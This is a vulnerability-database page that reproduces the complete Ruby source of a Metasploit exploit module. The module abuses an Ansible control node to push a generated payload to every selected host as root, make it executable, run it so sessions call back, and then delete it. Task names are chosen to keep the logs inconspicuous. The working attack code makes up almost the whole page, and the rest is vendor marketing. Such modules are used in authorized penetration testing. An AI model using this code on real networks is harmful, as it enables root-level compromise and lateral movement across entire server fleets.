Lucene search
K

Ansible Agent Payload Deployer Exploit

🗓️ 21 Jan 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 297 Views

This exploit module creates an ansible module for deployment to nodes in the network, allowing running a payload on selected targets

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Ansible

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ansible Agent Payload Deployer',
        'Description' => %q{
          This exploit module creates an ansible module for deployment to nodes in the network.
          It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
          targets which have been selected (default all).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'n0tty' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Stance' => Msf::Exploit::Stance::Passive,
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],
          [ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],
        ],
        'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that
        'DefaultTarget' => 0,
        'Passive' => true, # this allows us to get multiple shells calling home
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
      OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
      OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
      OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])
    ]
  end

  def module_contents(payload_name)
    # The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
    "- name: #{Rex::Text.rand_text_numeric(3..6)}
  hosts: #{datastore['HOSTS']}
  remote_user: root
  tasks:
    - name: 1
      ansible.builtin.copy:
        src: #{datastore['WritableDir']}/#{payload_name}
        dest: #{datastore['TargetWritableDir']}/#{payload_name}
    - name: 2
      ansible.builtin.file:
        path: #{datastore['TargetWritableDir']}/#{payload_name}
        owner: root
        group: root
        mode: '0700'
    - name: 3
      command: #{datastore['TargetWritableDir']}/#{payload_name}
    - name: 4
      file:
        path: #{datastore['TargetWritableDir']}/#{payload_name}
        state: absent
"
  end

  def check
    return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?

    CheckCode::Appears('ansible playbook executable found')
  end

  def ping_hosts_print
    results = ping_hosts
    if results.nil?
      print_error('Unable to parse ping hosts results')
      return
    end

    columns = ['Host', 'Status', 'Ping', 'Changed']
    table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)

    count = 0
    results.each do |match|
      table << [match['host'], match['status'], match['ping'], match['changed']]
      count += 1 if match['ping'] == 'pong'
    end
    print_good(table.to_s) unless table.rows.empty?
    # give the user a few seconds to cancel if its too many etc
    print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
    Rex.sleep(10)
  end

  def exploit
    # Make sure we can write our exploit and payload to the local system
    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
    ping_hosts_print if datastore['CALCULATE']

    payload_name = rand_text_alphanumeric(5..10)
    module_name = rand_text_alphanumeric(5..10)

    print_status('Creating yaml job to execute')
    yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"
    write_file(yaml_file, module_contents(payload_name))
    register_file_for_cleanup(yaml_file)
    print_status('Writing payload')
    upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
    register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
    print_status('Executing ansible job')
    resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
    playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
    print_good("Stored run logs to: #{playbook_log}")
    # stolen from exploit/multi/handler
    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation